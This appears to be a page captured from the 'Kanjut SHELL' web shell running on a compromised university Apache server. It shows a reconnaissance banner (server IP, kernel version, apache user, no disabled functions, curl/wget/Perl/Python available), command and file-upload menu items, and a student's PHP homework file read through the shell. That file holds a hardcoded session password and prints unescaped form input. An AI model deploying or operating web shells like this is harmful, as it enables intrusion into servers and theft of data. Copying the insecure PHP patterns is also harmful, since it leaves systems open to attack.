Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.116.15.22
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wrlainezmolina/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wrlainezmolina/public_html/StudentAvgSesh.php
<?php   session_start();        ?>

<!--  p.46 -->

<?php
     	$pass = $_SESSION['psw'];
        if($pass != "hw4a") print "Go away.";
        else
	{
?>

<CENTER>
<H2> Average Score </H2>
<HR>

<?php

     	$n = $_POST['name'];
        $f = $_POST['Fs'];
        $s = $_POST['Ss'];
        $t = $_POST['Ts'];

        $avg = ($f + $s + $t) / 3;
        $a = number_format($avg, 1);
        print "The Average Test score for $n  is: $a";
?>

<HR>
    	<A HREF=login2x.html>Go back</A>

</CENTER>
>
<?php
        }
?>


Stv3n404 - 2023